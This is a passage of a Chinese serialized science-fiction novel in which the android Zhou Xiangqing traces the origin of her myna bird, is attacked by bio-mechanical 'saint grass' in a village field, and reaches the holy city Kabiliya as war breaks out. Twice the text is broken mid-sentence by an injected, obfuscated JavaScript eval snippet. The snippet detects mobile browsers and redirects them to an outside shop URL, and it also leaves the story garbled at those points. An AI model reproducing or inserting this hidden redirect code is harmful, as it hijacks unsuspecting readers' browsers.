“我带你去我家吧,大姐姐,顺便吃饭。”让娜说着,把胖球丢向空中,同时自己哒哒哒地向坡上跑去。胖球在淡蓝色的天空下画出一个大大的圆弧,落回坡顶让娜的手上。让娜开心地咯咯笑着,向周向青他们挥手道:“大姐姐,快上来啊!” “你的八哥要被小姑娘抢走啦。”姜原道。 “闭嘴。”周向青横了姜原一眼。 小姑娘让娜的家就在坡道的另外一侧,离大路并不远,沿小路走一段就到。小路的两侧也都是农田。周向青并不知道那些田里都种着什么,也没有多少兴趣;但小姑娘却指着那些炫耀:这是我家的油菜,那是我家的土豆。 好不容易到了小姑娘的家门口,让娜连连打手势,让周向青把八哥藏起来。她只好把胖球又塞进衣服。大概是好不容易出来飞了几圈,胖球并不大乐意进又黑又窄的衣服里面,抓着周向青的衣襟不松爪。周向青又不好硬掰,只好把胖球递给姜原,让他拿着。 但胖球一上姜原的手,就对他的手指又撕又咬。姜原把它扔到地上,它又拍着翅膀追着狠啄姜原的鞋子。姜原用脚踢它,胖球便直接飞起来啄姜原的头顶。姜原惨呼连连,抱头鼠窜;胖球发出胜利的鸣叫,追亡逐北。 让娜看得吃吃直笑。连赛德机师也不禁莞尔。周向青懒得管他们,拉着让娜去敲她家的院门。开门的中年女人看到周向青和让娜,吓了一跳,谨慎问道:“请问——我家孩子又闯什么祸了?” “啊?没有。我只是过路的,想,呃……”周向青不知怎么才能问出口。她这时才意识到,突然问人这个,有点奇怪。 “妈,人家是过路的。今天我不是要给爸爸他们带饭吗,他们也想吃点。真是的,老觉得我闯祸。”让娜埋怨道。 “哦——这样,”让娜妈妈从门前让开,“那先进来吧,马上就好。但我今天做的也不多。不过女孩子嘛,应该还匀得出来。”灶台上架着一口大锅,上面一个笼屉,正突突地冒着热气。她钻到厨房里去拿东西。 “还有一个男生呢。妈你不用管,再给我加两副碗筷就够了。”让娜去堵厨房的门。 “那个……一副就行。”周向青说。毕竟她不吃饭。 “一副就行?为什么?”让娜扭头问道。 “一副就行?”让娜妈妈从厨房探出头问,然后又缩了回去。“哎呀,虽然饭菜没那么多,但碗筷总是管够的。”她提着两个铁皮桶子出来,然后揭开笼屉,从里面迅速拎出几个铁饭盒,放在其中一个桶里。里面是炒好了保温的菜。然后又把锅里的饭铲到另一个桶里。 “就装这里吧。给给给,拿去。” 让娜一手拎起一个铁桶,向门口走。周向青想帮忙,小姑娘却躲着不让。她走到门口,回头说:“对了妈妈,这个大姐姐想问你,你把我的八哥送给哪个叔叔了?” 让娜母亲一愣,她正要翻脸,让娜却从周向青身边钻出门去,一溜烟跑了。周向青大为尴尬。让娜的母亲看着周向青,又觉得有点不对,便压着气问道:“请问,是到底是什么事情?” “是……呃……”周向青不知道如何开口。 “大姐,是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088306|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的。”不知道什么时候,姜原突然出现在院门口。“我生意上的朋友,他有一只八哥,特别机灵,还会学人说话。我家孩子可羡慕,想要。我朋友说,他是几年前从村子里边拿的,还说这边八哥很多,随便逮。但我这朋友经常胡吹大气,我又不太信。这次我跑生意路过,看这里有点像他说的地方,然后我在路上看到您家孩子,随口一问,嘿,赶巧了,她好像知道。所以我也就上门问问有没有这么一回事,看能不能也给我家孩子也捉一只。我那朋友平时喜欢戴个红帽子,年纪有点大,有点自来熟。您看……” 周向青惊讶地望向姜原。 让娜的母亲恍然道:“哦,好像是。我隐约记得他好像是戴着个帽子。当时你朋友也是路过这里讨口热饭吃,当时他带着一个年轻女孩儿,那女孩儿一直盯着八哥,你朋友就问能不能卖给他。我正看那鸟烦的不行,就直接送给他了。当时我姑娘跟我闹了好久,我刚才还以为她有跟你们说了什么呢。” “哈哈,没说什么。小姑娘只是嘴硬,她还是很爱您的。”姜原笑道。“既然知道地方没错就行啦。打扰了大姐,谢谢您的午饭,谢谢!” “不必不必。你们慢走。”让娜的母亲回到厨房去了。 让娜正蹲在门外,用指头粘了一点饭粒喂胖球吃。胖球不爱吃饭粒,躲开了。让娜只好把手指含进嘴里。她看到周向青和姜原出来了,便站起身,说:“走?” 姜原想替她提那两个铁桶,但让娜一面说“哪有让客人干活的道理”,一面跑开了。不过还别说,她虽然个子小,还提着两个大桶,但跑得一点都不慢。赛德机师怕她跌倒,赶忙跟了上去。 而周向青叫回胖球,和姜原一起跟在后面。 “你怎么知道我要问什么?”周向青低声道。 “你能猜到,我猜不到吗?” “那你至少应该问一下他的名字。”周向青说。 “没必要问,他肯定不会说的。”姜原说。 “你怎么知道?” “因为我也没说我的名字。”姜原回答。 让娜带着他们来到种着一片红色植物的地方。村民们正在地里检查那些植物的情况,其中便有让娜的父亲。他们看到让娜来了,便回到田边,其中一个人拿来一块木板,用衣袖擦了擦,放在附近的水泵上当作桌面。让娜把装菜的铁饭盒和碗筷放在上面,然后开始给每个人盛饭。 周向青本打算等大家都拿了饭,再以不够了为理由拒绝;却不料让娜第一碗饭就盛给了她。周向青只好连忙摇手:“我不吃。” “欸——够吃的,不要怕。”让娜的父亲说道。 “谢谢,但真的,不用了。” 让娜说:“你别听我妈那么说,她每次都往多了做,每次都有剩下的。” “我真的不吃,我不吃饭的。” 让娜的父亲疑惑道:“你不吃饭,吃面?吃面就早说么,但现在都到这了,先将就吃一点,回去再下面。” “不用了……我……” “客气什么呀,不要跟他客气,吃!”其它村民也七嘴八舌地劝说。 “我真的不吃。真的,谢谢,但我真的……不用吃饭。” “她肚子有点不舒服。”姜原替周向青接过饭碗。“所以真的不是客气。” 村民们纷纷露出“八成是那个吧”的表情,又劝道:“没事没事,吃点热的暖暖肚子。” 赛德机师看了姜原一眼,又望着周向青上下打量,最终目光落在那个三角徽章上,开口道:“大家也不用一直劝,还是尊重一下她的意见。我们先吃吧。”他先拿起自己的饭碗,夹起菜放进碗里。村民们便也不再多说,开始吃饭。有一个人好奇地问姜原是哪里人,姜原说他和周向青是城市那边来做电子废料生意的,听说边境突然封闭,就索性在这里逛逛。然后他讲了些旅行中的趣闻,逗得村民们都笑了起来。 周向青默默离开人群。 “弗莱”路过这个不知名的村子,偶然领养了原本属于小姑娘的八哥,然后带着它离开了。她起初还希望胖球跟自己有种特殊的关联——比如来自同一个地方——但这种猜想被打破了。看起来,“弗莱”得到胖球只是一种简单到无聊的偶然,甚至他都没有和这只八哥相处很长时间。 那么,他会在这样一只动物的脚环中放置什么样重要的信息? 但让娜母亲提到的,那个跟着弗莱的年轻女孩,倒有可能就是失去记忆前的自己。她希望那就是自己。因为是“她”盯着八哥看,弗莱才买下了胖球。那样的话,难道在脚环中放入信息的人是她自己吗?以前的她料到会失去记忆,所以才做了这件事以备不测? 她的脑袋里充满乱糟糟的想法。而背后传来轰轰的笑声更让她心烦意乱。周向青蹲下身子,看着正在田里啄来啄去的胖球。它的脚环看上去没有任何特殊之处。说不定那只是在某家百货商店随手买下的便宜货,而胡筱秋和姜原只是在瞎猜而已。这样一来,她来卡比利亚都成了没有意义的事情。 从人群中又爆发出一阵大笑。大概是姜原又讲了什么无聊的笑话。 周向青叹了口气,试图把思绪从胖球和脚环上移开。 她的目光渐渐落在田里的奇怪植物上面。那植物长得并不高,大概只到膝盖;叶片厚厚的,像血一样红,叶脉反倒绿中带黑。而植物下方的土地中,遍布粗细不一、披着金属外壳的铠装管道。这些管道一半埋在土里,一半凸出地面,看起来就像这片田地的血管一般。 周向青忍不住伸手去摸。 “这是圣女草。”她背后传来赛德机师的声音。 18. 卡比利亚之夜03 “这是圣女草。它的颜色是圣女鲜血流淌的痕迹。你看它这红,多美。”赛德机师在周向青身边蹲下来,轻轻抚摸圣女草的叶片。“但我们也并不是仅仅为了纪念圣女才种植它。它能消除土壤中的酸性,增加农作物产量。” “原来是这样。”周向青敷衍道。“你知道的真多。” “这是我们机师的职责。虽然我主要是给孩子们讲课,但同时也要帮助村民维修机械,指导他们安装水泵,铺设导管。这些圣女草也是最近才在这边推广起来的。我还是需要监护一下它们的情况。” “所以他们叫你机师,是机械师的意思?” “机师的全称是人机统合讲习师。不过统修会起的名字都是拗口又难记,所以他们还是就简称机师。”赛德站起身来,看着周向青胸口的徽章,犹豫片刻,开口道:“刚才我听你那位朋友说,你们是这两天刚从城市那边过来的。我有一个问题想——” “我也有一个问题想要请教。这地上的铠装管道是怎么回事?”姜原不知什么时候也凑了过来,直接打断了赛德的话。 “哦,这些管道是为这些圣女草提供营养的。”赛德机师答道。 “但为什么是铠装呢?”铠装指的是管道外面一圈一圈如铠甲般起到保护作用的金属壳。 “因为普通的滴灌管道容易损坏。” “哦,说得还像那么回事。但它并不是你们制造的吧。” 姜原蹲下身去,扯起一条铠装导管,它竟然像血管一样,从一条主管分出无数条毛细管道,而且主管上每隔一段,就有一个一收一放泵动液体的结节。而这些管道似乎都与圣女草的根须相连接。 “这不就是活化机械吗?这跟‘城市’靠那边的鲸鱼为生没什么区别,这就是你们教会的特色?所以这些管道到底通向哪里?这些植物到底是干什么的?难不成跟你们教会那什么三元一体相关吧?”姜原放下管道,又用手指轻轻弹了弹那些圣女草的叶片。 “是‘统修会’,不是‘教会’,朋友。不要把我们跟上个时代那种盲目的信仰相提并论。而且即便是在上时代的教会,你这样的行为也属于挑衅。请你不要随便触碰圣女草和管道。”赛德机师直视着姜原的眼睛。 姜原微微一笑。他拍了拍手上的土,慢慢站起身来,大概是正在头脑中考虑如何反击。 周向青已经知道,姜原总是与统修会的人合不来。那么,之前姜原和胡小姐对着程光颐开那一枪,是不是也是同样的原因呢。 她的心情越来越坏。周向青准备趁此机会回到车里,尽快先到卡比利亚去。于是她站了起来,说:“姜原,我们别闲聊了。抱歉,赛德机师,虽然我对这些圣女草很感兴趣,但我们想在天黑前赶到卡比利亚,所以先告辞了。” 周向青说完话,拉住姜原的袖子,把他拖出田埂,向大路上走去。胖球看到周向青要走,便也飞了起来,停在她的肩膀上。 “你们是要去卡比利亚吗?”赛德却似乎并不在意周向青的态度,反而快步跟了上来。他望着周向青胸前的徽章,说:“不过在走之前,能不能……” “大姐姐!等一下!等一下!”远处的让娜看到周向青正要离开,便一面高叫着,一面沿着田埂向他们跑来。 周向青只好停下脚步。“小心点,别摔——” 伴着一声尖叫,让娜一脚踩空,小小的身影便滚倒在种满圣女草的田里。姜原和赛德机师不禁笑了起来。 但周向青并不觉得好笑。 尖叫声让她的神经有点紧张。她耳朵里应激般地嗡嗡作响,像是体内有什么东西从休眠中启动。 让娜挣扎了两下,却一时爬不起来,更让她担心让娜是不是摔坏了哪里。 周向青急忙向让娜奔去。能量注入她腰腿的肌肉,收缩、绷紧,然后重重弹出。三步两个起落,她就跃过一大片潮湿松软的泥土,赶到让娜的身边。 让娜的下巴撞到了管道,划出几道细细的血痕。小姑娘挣扎着撑起身子,不好意思地笑了笑。“对不起,我的脚卡住了。” 周向青还以微笑,伸手轻轻擦去让娜脸上的泥土,然后去拉那些盘根错节的铠装管道,好让小姑娘抽出脚来。 但就在让娜抽出脚踝,爬起身时,周向青却发现,那管道上垂下无数纤毛一样的东西,吸附在自己的手臂上。 怎么回事?她下意识地伸手去掸那些纤毛。但纤毛却像扎根一样,牢牢插进了她的皮肤。周向青急忙去看让娜,但让娜好像一点事都没有。周向青伸手揪断了几根纤毛。之间那纤毛的断口处有一点点湿润,像是植物断口处的汁液。 似乎那管道正在从她的手臂上吸收什么东西。 周向青吓了一跳,急忙站起身,双手一阵乱拍,把那些纤毛全部扯断。 让娜被周向青的动作吓了一跳。“大姐姐,你怎么了?” 周向青无暇回答。 因为就在她双脚边的土壤中,同样有无数根同样的纤毛像虫子一样扭动着,攀上她的脚腕。她惊叫一声,腾空跃起,将纤毛全部扯断。虽然是在柔软的田地中,但这一跳也离地两米多高。 姜原和赛德听到这声惊叫,同时抬头。 只见这片田地中的纤毛如同具有意识一样,朝着空中的周向青疯狂伸去。就连铠装管道也跟着从地面昂起脑袋,扭动着汇聚成一只黑色的巨手,抓向空中的周向青。 让娜发出更大声的尖叫。 周向青在空中无处躲避,黑色的巨手猛地抓住她的脚踝。纤毛沿着她的小腿疯狂蔓延,越过她的膝盖、腰间,继续向上伸去。周向青急忙双腿同时上踢,身子借着反作用力,翻向那黑色巨手的腕部,挥出腕间的刀刃。 蓝光一转,铠装管道已被统统斩断。断裂的铠装管道、纤毛、泥土,如暴雨般纷纷落下。 周向青翻身落地,拎起让娜,几个起落间,已经回到大路上。 那黑色的巨手失去了目标,慢慢地匍匐下去,回归泥土之中。 姜原一把揪住了赛德的衣领。“那到底是什么东西?” 但赛德的双眼却傻愣愣地望着周向青,不知道在想些什么。 姜原用力一拍赛德机师的脸颊,把他从恍惚出神中打醒。“那到底是什么东西?” 赛德颇不自然地笑了笑:“就像你之前说的,是活化机械。不过不必担心,圣女草对人类没有危害。它只是对几种稀有金属起了反应,它会在土壤中吸收这些元素。只是仿生人皮肤用的材料中含有极高浓度的稀有金属,所以让它们过度兴奋了而已。” 姜原皱起眉头:“只是这样?所以你知道它会对仿生人产生这样的反应?” “我们这里没有仿生人。”赛德答道。但他的双眼却忍不住望向周向青。 周向青已经把哭泣的让娜送到她的父亲身边。她大步走到赛德面前,质问道:“这到底怎么回事?你怎么能在这里种这么危险的东西?村民们知道吗?” “知道。但他们的确没有亲眼见过这种景象,毕竟如今已经很难见到仿生人了。我的确应该稍后……不,现在,就跟他们,特别是小让娜解释一下。”赛德挣开姜原道手,对周向青鞠了一躬,赶向让娜身边。 姜原怀疑地盯着赛德的背影看了一会,然后他重新在田埂边蹲下,查看那些圣女草。 周向青可不想在田间多留一秒。她径直回到姜原停车的大道边。这里开阔的空间总算是让她平复了一点心情,她稍微放松了一点神经,最后靠在停车处附近种满牵牛花的栅栏上。 活化机械。 她从来没有见过眼前的这种可怕东西。 但是,废坑边的那条巨大而美丽的鲸鱼,还有城市边上让人赖以为生的旋转叶片,同样也是活化机械。 大概,这些活化的机械各有各的生存之道。只是这个什么,圣女草,比较特殊而已。虽然它的确比较危险,但好在只是植物,自己只要不去主动接触它们,也似乎没什么。 再说了,这些圣女草真的比电磁脉冲更危险吗?也未必吧。 世界或许就是危险的。 但也才在几天前,她还能上完班之后回到小房车,慢慢摸着胖球,享受平淡的生活。 令她惊异的是,胖球就在此时不偏不倚地落到了她的手上。周向青这才意识到,胖球不知道什么时候早就飞走了。大概就是她被圣女草缠上的时候。 而跟胖球一起来的,还有让娜小姑娘。她的眼睛还是红红的。显然刚才的情况让她吓得不轻。 “大姐姐,你把它忘啦。”让娜说。 “啊,谢谢你!”周向青有些不好意思。 小姑娘擦了擦鼻子,嘿嘿笑了。“我的小黑丢了,所以我不希望大姐姐你也把它丢了。大姐姐,它叫什么名字?” “胖球。” “胖球。的确是胖乎乎的。是不是呀,胖乎乎?”让娜伸手逗了逗八哥,装出一副漫不经心的口气说:“大姐姐,赛德机师说你其实是机器人,是真的吗?” “嗯,算是吧。”周向青点了点头。虽然她不太喜欢跟别人不一样,但她本来就不一样。刚才的事件只是让她更明确地意识到了这一点。 让娜盯着周向青看了一会儿,又说:“但我看你并不像机器人。胖球都愿意跟你做朋友。他们说机器人都笨笨的,但你也不像。” “机器人都是笨笨的吗?”周向青问。 “不知道。我从来没见过。但大家似乎并不是很喜欢机器人的样子。但他们又说骑士们的铁臂其实就是机器人的手,所以我其实并不很懂啦。” 周向青笑了。她觉得这个小姑娘有种超出她年龄的顽强。她突然有种想把胖球送给这个小姑娘的冲动。或者说,“还”给她。 但周向青还在犹豫的时候,让娜却说:“再见啦,大姐姐,我还得回去洗碗呢。” 小姑娘恋恋不舍地挥着手跑开了,但她还没跑几步,就一头撞上迎面走来的赛德机师,差点摔 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“这个徽章是……朋友送给我的。我还给你就是了。”周向青伸手去解徽章。 “如果是朋友送给你的,那你还给我干什么呢?请问,你这位朋友叫什么名字,是什么职衔?” “什么职衔……这我……” “因为刚才吃饭的时候,我听你那位同伴说,你们是从城市过来的吧?而最近城市发生的那个悲剧——让我觉得自己有责任询问一下。但你不方便回答也没有关系。这不是强制的。我也没有那个能力强制你们。”赛德说。 “没有,不是不方便。”周向青摇头道。她并不像姜原那样能够滔滔不绝地说一些靠谱或不靠谱的话,她编不出什么谎来。“他叫……程光颐。他是统修会的骑士,但我不知道他是什么职衔。” 此时周向青听到背后有一点响动。她回头看了看,却什么都没看到。 “果然。”赛德露出悲痛的表情。 “抱歉。”周向青不由得说道。但此时她的脑海里,是那天她看到的景象。 姜原弯下腰去,胡小姐在他背后,对着统修会的骑士举起了枪。枪口冒出火焰,而骑士的面甲上多出了一个黑洞。 “请容我再问一句,他是出于什么目的给你这枚徽章的呢?” “这……原本我请他护送我到卡比利亚去,但我们还没上路,就被袭击了。然后我失去了意识,后来……”周向青想了一下,决定还是不说出全部的事情。 “原来如此。”赛德机师点了点头,露出恍然大悟的表情。他显然是想到了什么事情,但并没有说出来,而是换了一套更官方的说辞:“请允许我代替统修会向您致歉。他的牺牲诚然是极大的损失。但没能完成您的委托,也是我们的责任。”他说完,深深鞠了一躬。 “不会,这没什么!你看,我这不还是来了吗?”周向青略感慌乱。明明她才是应该感到歉疚的一方。 “那还请容我陪同您一起到卡比利亚去吧。” “啊?为什么?” “程光颐是我在统修会学校上学时的学长。我们也算是志同道合、无话不谈吧。虽然我最终没能走上他期待的道路,担任了不同的职责,但我一直都很尊重他的理想。我想为他未竟的事业尽一份力。” 周向青听不懂。理想?未竟的事业?对方这种莫名的热情让她下意识地拒绝:“真的,不用了——这里离卡比利亚也不远,晚上就能到了。” “卡比利亚的确不远。但我还是坚持我的请求。路途的远近与心灵的远近是两回事。而且,您在这个时候前往卡比利亚,想必不是寻亲访友,也不是交易买卖。我有理由相信,您是想在统修会的圣城,找到一个跟您自身息息相关的答案。那么,我觉得,恐怕只有我才能代替程光颐履行他未竟的职责。” “这……”周向青知道,赛德大概是在说她是仿生人的事。 “卡比利亚是程光颐受封骑士,也是我得到机师职衔的地方。我们对那座圣城最熟悉不过。您想在那里寻找任何东西,我都可以给你提供帮助。” “那……你知道有机存储器吗?”周向青问道。 “哦,这我略知一二。卡比利亚的博物馆里有相关的展品。上个时代人们为了发展能够抵抗电磁场影响的存储器而开发了一些有机物存储媒介,比如天然的蚕丝、人工的化学纤维……” 他居然知道。周向青一瞬间重新高兴起来。但赛德机师偏偏突然闭上了嘴。因为姜原正从路那边走了过来。 “赛德机师想跟我们一起到卡比利亚去。”周向青说。 姜原挑起了眉毛,但并没有反对。“好啊,有个认识的人也好。但机师,你是自驾,还是搭我们的车?” 赛德机师说:“请容我搭你们的车吧。我没有交通工具。” 姜原点头。“那啥时候走?” “现在。”周向青说。越快越好。 19. 卡比利亚之夜04 惜哉,卡比利亚。 这句话是初代圣座初次抵达这座山丘上的博物馆时,发出的感慨。这里原本并不叫这个名字,而叫阳丘。它原本只是一座半大不大的城市,因为临近汋河,便于获得冷却用水,且交通便利,地价便宜,逐渐变成了上个时代的数据中心。而表明人类在各个阶段如何存储、利用数据的历史文物,便收藏于阳丘城最高处的“数据发展博物馆”中。 自动化大崩溃时,阳丘一夜之间失去了它原有的价值。社会崩溃带来的暴乱与战争逐渐摧毁了城市的其它部分。曾经有数支军队在这里驻扎,博物馆在几遭战火之后,馆舍坍塌,也失去了其中不少藏品。圣座带领他的军队,经历一番血战接手这里后,重新发现了数据发展博物馆的价值。他将阳丘改名卡比利亚,定为“统修会”的圣城。上城区也平整一番,建设了统修会的大讲堂、研究院与各个部门的办公场所。卡比利亚也担当起石岗城陪都的职责。 至于为什么这样命名,圣座并没有多做解释。人们只知道这个名字出自另一门语言。于是当地人开始模仿那门语言,给自己起一个类似的名字。总之,卡比利亚这个称呼就沿用至今。而它的地位提升之后,作为交通枢纽的功能也得到体现,下城区变成了一个专务物流、工业的水陆码头,城市甚至扩张到了汋河对岸。而城中区则主要分布着居民住宅、商圈、以及公共设施。 “而如今,无数装备精良,士气高昂的士兵从各地涌来,途经统修会的这片圣域,赶往突出部的前线。米卡公然拒绝巩固停火协议,正在边境集结重兵,意图不轨,而圣城卡比利亚绝不容这些罪人的亵渎。这个特殊时刻,每个人都想要为保卫三元一体的伟大梦想,踊跃贡献一份自己的力量。” “下面插播一条即时消息。枢机主讲程光颢在不久前乘坐启明号特快,平安抵达卡比利亚。枢机主讲之所以在这个特殊时刻前来,是因为下一任圣座最为热门的人选,卡比利亚大主讲朱启儒则以地区形势紧急为由,拒绝受召。而与此同时,另外几位候选人都已经赶往石岗城接受考核。鉴于时事,枢机主讲不得不赶到卡比利亚,代表枢机主讲团,完成对朱启儒参选资格的考核。但有人表示,这只是走一场形式而已,因为朱启儒能担任卡比利亚大主讲,本身就是被选为下一任圣座的信号……” “所以赛德机师,你怎么看?”姜原拧小了车载收音机的音量,回头问道。他们已经在这个路口堵了半个小时,眼见着天色越来越暗,而通过的军用车辆仍然没有减少的迹象。他们面前这条路是下城区通往码头区的主干道,所以可能还要堵更长时间。 赛德机师端坐在后排座位上,略作迟疑便答道:“这个级别的人事任免,我没有权利评价。如果问我个人对朱启儒大主讲的看法,我认为他是一位具备远见卓识,也很有说服力的人物。” “那他对时事有什么看法吗?” “这我倒不清楚。大主讲事务繁忙,而我人低职微,没有机会向他请教。” “但看新闻的意思,下一任圣座似乎非他莫属。也就是说,他在将来会主导统修会和米卡之间的关系,不是么?” “各位大主讲之间对于教义的确有不同的理解倾向,但也仅体现在针对具体问题的回答上有所区别。而米卡这一组织成立的基础与目的,与统修会的立场与宗旨完全相悖。所以我不认为在整体态度上,会有什么大的转变。” 姜原点了点头,不再提问,考虑起自己的事情。 而此时,车后传来“咚”的一声闷响。三人同时向后看去。 并不是追尾。三人还在犹豫是不是听错了,车后又是咚的一声。这回声音的来源很清楚,是后备箱的位置。姜原拉起手刹,下车打开后备箱。 让娜蜷缩在行李上面,对姜原不好意思地笑了笑。“我的腿抽筋了。”她说。 姜原把她从后备箱里像小猫一样拎了出来,盖上箱盖,再把她放上去,端正摆好。 让娜像没事人一样嘿嘿笑着,两手揉按自己的小腿。 周向青看到她这个样子,不免一时也说不出话。赛德机师则板着脸说:“让娜,你钻到人家车里干什么?这样偷偷乱跑,走丢了怎么办?” “我没有乱跑啊?是车子在跑,我只是躺着而已。” “你告诉家里人了吗?今天出了那么大的事情,你有没有想过,你现在又不见了,他们会多担心?” “但不是有你吗,赛德机师。你人这么好,肯定会替我跟他们说的呀。” “像你这样胡闹,下次遇到坏人,可有你好受的!” “赛德机师,我是听说你也要一起走,才跟过来的。如果没有你,我也不会钻到陌生人的车里呀。还是说,你其实是个坏人?”让娜装出一副害怕的样子。 “你……”赛德机师气得说不出话。 姜原哈哈大笑起来,周向青也不禁莞尔。赛德机师正要发火,但后车狂按起喇叭,他们才发现前方的交通业已恢复通畅。让娜直接从后备箱盖上跳下来,哒哒哒一溜烟钻到车里等着了。赛德虽然生气,但事已至此,只能先到目的地再做打算。 他们的目的地就是赛德机师为他们推荐的旅馆。“八天半”。 旅馆的名字源自于圣座悟道的时间,据说他曾在山中不吃不喝,思考人类的未来,最终在第八天的正午得到神启,领悟了三元一体的要旨。而这家旅馆也是距离上城区教会总部最近的一家平价旅馆,只靠步行就可在一小时内到达,广受前来办理事务的教职人员青睐。 “住旅馆咯!”让娜特别兴奋。 “不行,我现在去通知你父母,然后你就跟我回去。”赛德机师严词拒绝。 “那你准备怎么送她?坐公交吗?”姜原问。 “他坐不了公交。从城里到我家,每天只有一趟车。早上去,晚上回。现在肯定赶不上啦。”让娜快嘴快舌地说。“而且他自己也没车,之前我问他为什么要坐公交,他说他没有车。是不是啊,赛德机师?” “我可以借。”赛德机师脸涨得通红。 “用不着,我可以去我姨妈家里住。”让娜说。“我姨妈在这里当书记员。” 赛德机师板着脸,带让娜去打电话。过了一会,让娜又唱又跳,赛德闭目蹙眉地回来了。 “已经通知让娜的父母了。她姨妈联系不上,似乎是在加班。”赛德说。 “那小姑娘就先跟你一个房间吧。”姜原对周向青说,直接订了两间双人房。 周向青不置可否,心中暗道,不然还让小姑娘跟你住不成。 大家把行李搬进客房,周向青把胖球装进笼子,用毛巾挡住光线,好让它睡觉,然后自己弄了支能量棒化开吃了。赛德机师想回宿舍,但让娜在这里,他也不方便走。此时姜原鼓动大家一起去楼下吃点本地菜肴。让娜自然拍手叫好,于是大家便到楼下的兔头店里坐着。 此时已经是晚饭时间。天色虽然尚未全黑,但太阳马上便要落山。这时兔头店里客人正多,噪音哄哄不绝,犹如生产废话的工厂一般。每张正方形的桌边都坐着四个人,一面慢悠悠地掰开大量香辛料和油脂卤制的兔头,一面在咀嚼的空隙聊些家长里短、八卦新闻。兔头算是卡比利亚的一道名菜。 姜原要了一盆兔头,白酒,还有给让娜的果汁酸奶。让娜掰开一个,想让周向青也尝尝。但周向青婉言拒绝了。她也不知道自己能不能消化这类食品,只是习惯性的拒绝而已。让娜倒是自己吃得很开心。姜原一直在跟赛德聊一些教会的事情,并且频频劝酒。 周向青的注意力则逐渐转向周围食客的聊天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088308|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少人提到即将到来的战争。边境总是时不时交火,大家普遍认为战争无可避免,看到通过下城区的军车与士兵,更巩固了这个猜想。虽然朱启儒大主讲留在卡比利亚,给了大家额外的信心,还没有出现大规模的逃跑和恐慌;但大家仍然担心公司的军队会攻进这座城市,而鉴于教会在上一次的大战中失去了许多“不重要”的领土,大家对战争的前景并不看好。一些人开始挖掘地窖,囤积物资;另一些人则已把妻儿送到后方的亲戚家里。 “战争!是无可避免的。我跟你说。教会的信仰需要考验,而公司那帮市侩,还有他们贪婪的思想!也必须被消灭。”赛德的脸颊上红彤彤的,酒精让他格外兴奋。他在说“信仰”两个字时,用力捶了捶自己胸口的红色三角。 “你不是说,不是教会,是统修会吗?”姜原取笑道。他喝的不比赛德少,但无论脸色还是声音,都没有一点酒意。 “我是为了你能听懂。大家都叫教会,没人喜欢那个绕来绕去的名字。” “但——” “但!教会就是教会。重要的是‘信仰’你懂吗?总有没有信仰的人混进我们的队伍,还偏偏身居高位;而真正有信仰的人,却屈居下僚。为什么直到现在都没有达成三元一体?实验总是失败,大家一再失望?因为!有人,在暗中破坏。敌人,就在我们之间。” “虽然我并不喜欢教会,但我觉得你的确大材小用了。”姜原吹捧道。 “别这么说。我只是个木匠的孩子,大材小用不是当然的吗?在我立志加入教会的时候,我们的领土还一直向东直到关外。那时卡比利亚已经算是腹地了。但现在?”赛德发出一串不知是自嘲还是噎住了的笑声,续道:“因为战争!战争不一样你懂吗?战争会把每个人,有信仰的和没有信仰的,都放回到自己真正的位置上。我们的失败,是对我们缺乏信仰的惩罚。而想要取得胜利,就需要我们净化自己。” 姜原问:“那么,你打算在这场战争里怎么净化自己?” 赛德机师得意地笑了,但那张脸在酒意下显得有些扭曲。“问得好,可惜我现在还不能告诉你。” 周向青被赛德的表情吓了一跳。她怕让娜对赛德机师失望,但小姑娘倒是一副无所谓的样子。“他只是喝醉了而已。我爸喝醉了也这样。我妈说,这是酒在说话,不是人在说话。” 周向青觉得这个表述有点意思。或许另一个她,就跟人喝醉了差不多。是她体内的什么“酒”在做事,而不是她在做事。或许她只要把那些“酒”弄出来就好了。 在周向青还在思考这个问题的时候,突然一个人冲进了兔头店,大声喊道: “开战了!” 店内顿时沉寂下来。 “开战了!公司的军队刚才在对天门开火了!”那个人又一次喊道。 兔头店的人群瞬间躁动起来。一些人直接站起来向店外跑去,一些人挤上前询问具体的情况,一些人立在原地不知所措,还有一些人摇头说这不过是平常的交火,另一些人则各执一词争论起来。 “叛徒!你他妈就是个叛徒!”在嘈杂声中,突然响起一声怒喝。 大家都不知道发生了什么事。 但拳头开始飞舞,有人抄起板凳。几个人在大堂中扭打成一团。其他人赶忙把他们拉开。鲜血从他们的脸上流下,他们口中喷着热气,双眼圆彪彪地死盯着对方,咬牙切齿。 让娜呆住了。 姜原说了声“我们快走”,然后架起仍在嘟囔不休的赛德;周向青则牵住让娜的小手,同时拢住她的肩。他们趁空挡挤出店门。许多人同样从长街两侧纷纷涌出,穿过昏黄的灯光奔向夜色。 车子一辆接一辆发动起来,人流与车流像兔肉丁与花椒粒一样混成一锅,吱吱地翻动个不停。 20. 卡比利亚之夜05 旅馆的门还开着。 服务生正焦急地站在门边,等待外出的旅客回来。看来他们并不是最后回来的。大堂里的钟还不到八点半,电视正在播放一条紧急消息,但声音不知被谁关掉了。屏幕上身披圣袍的教职人员正无声地慷慨陈词。下面有一行飘过的字幕,写着:“……已在天门、陆平、河阳多地展开小规模交火,米卡方面尚未公开发布任何消息……” 电梯有人占用。于是他们走应急楼梯上去。在楼梯间里,让娜终于感受到封闭空间带来的安全感,这才开口问道:“大姐姐,真的开战了吗?” 